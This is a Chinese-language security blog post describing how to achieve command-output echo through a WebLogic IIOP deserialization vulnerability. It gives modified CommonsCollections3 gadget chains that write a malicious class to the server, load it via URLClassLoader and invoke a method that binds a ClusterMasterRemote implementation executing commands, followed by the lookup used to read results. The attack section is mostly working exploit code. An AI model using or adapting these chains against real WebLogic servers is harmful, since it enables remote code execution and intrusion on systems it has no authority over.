0x01 前言
首先要理解该漏洞的话,先要知道几点,
1、什么是IIOP协议
2、什么是RMI协议
3、这两个协议之间有什么区别
这几点可自行搜索查看,在先知中也有不少例子。
0x02 回显分析
在我这个菜鸡理解的IIOP和RMI协议区别是没什么区别反正都是远程调用对象,所以就用RMI写了个远程执行命令的HelloWord来做了个实验。
编写RMI过程步骤
1、一个必须继承Remote的接口并且抛出RemoteException异常
2、引用并实现该接口
3、服务端开启远程调用并且实现绑定该接口
4、客户端直接远程调用该接口
5、最后执行效果
可以看到通过手动写的RMI调用的例子上是可以实现RMI回显的,既然RMI和IIOP都一样那么在IIOP中是否也能通过这种方式回显呢,要在Weblogic中实现此方法回显,也要跟RMI一样要一个符合要求的接口,要一个实现该接口的恶意类,然后进行绑定,因为在weblogic中7001端口是多中协议包括IIOP,所以就不行开启远程端口,只需要绑定上即可。
那么第一步开始查找weblogic中查找可以远程调用的接口
最终在weblogic发现了完美符合要求的一个类
第二不引用并且实现该类,在经过查找后并没有发现可以实现该类的方法,想了想在weblogic一些版本中是存在CommonsCollections3.1的这个版本中是存在可利用的反序列化gadget的,想了一下可以通过写一个实现实现该类的方法写入到服务器本地然后绑定该类实现调用,在默认ysoserial中是没有写文件的gedget的所以就要修改一个如:
Transformer[] transformers = {new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor" , new Class[]{Class[].class} , new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance" , new Class[]{Object[].class} , new Object[]{new Object[]{path}}), //绝对路径 new InvokerTransformer("write" , new Class[]{byte[].class} , new Object[]{classBytes})}; //写入class类的bytes
通过此方法写入进去了实现远程调用接口的类,接下来就是绑定,但是已有的poc中直接绑定肯定是不行的
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, object), Remote.class); initialContext.rebind("testets",remote);
在与之前Hello对比
Hello h=(Hello) UnicastRemoteObject.exportObject(hello,1099); registry.bind("Hello",h);
明显是不同的没有办法直接绑定写入那个实现接口的那个恶意类,后来想了一个思路就是通过在恶意类里直接写一个绑定的方法,然后通过利用CommonsCollections3的gadget改成执行那个恶意类里的方法来绑定实现
Transformer[] transformers = { new ConstantTransformer(java.net.URLClassLoader.class) , new InvokerTransformer("getConstructor" , new Class[]{Class[].class} , new Object[]{new Class[]{URL[].class}}) , new InvokerTransformer("newInstance" , new Class[]{Object[].class} , new Object[]{new Object[]{new URL[]{new URL(ClassPath)}}})//加载绝对路径的class , new InvokerTransformer("loadClass" , new Class[]{String.class} , new Object[]{className}) //加载该类的名称 , new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class} , new Object[]{method, new Class[]{String.class}}) //反射执行该类的方法 , new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, new String[]{""}})}; //要执行的参数
至于如何在本类绑定调用可以用 Context ctx = new InitialContext();这个方式来实现绑定,最后绑定成功后实现回显的话就跟Hello中例子一样
ClusterMasterRemote clusterMasterRemote=(ClusterMasterRemote)initialContext.lookup("tttt");
先来捋一捋步骤
编写实现
1、写一个实现可实现ClusterMasterRemote接口的类
2、编写实现接口类的绑定方法,并且把命令执行的方法写入
3、把该类通过修改过的gadget利用链通过IIOP漏洞写入到服务器
4、通过修改过的gadget执行写入类的绑定方法
5、执行回显。
最后放一个执行的过程,
写入类
执行类
执行回显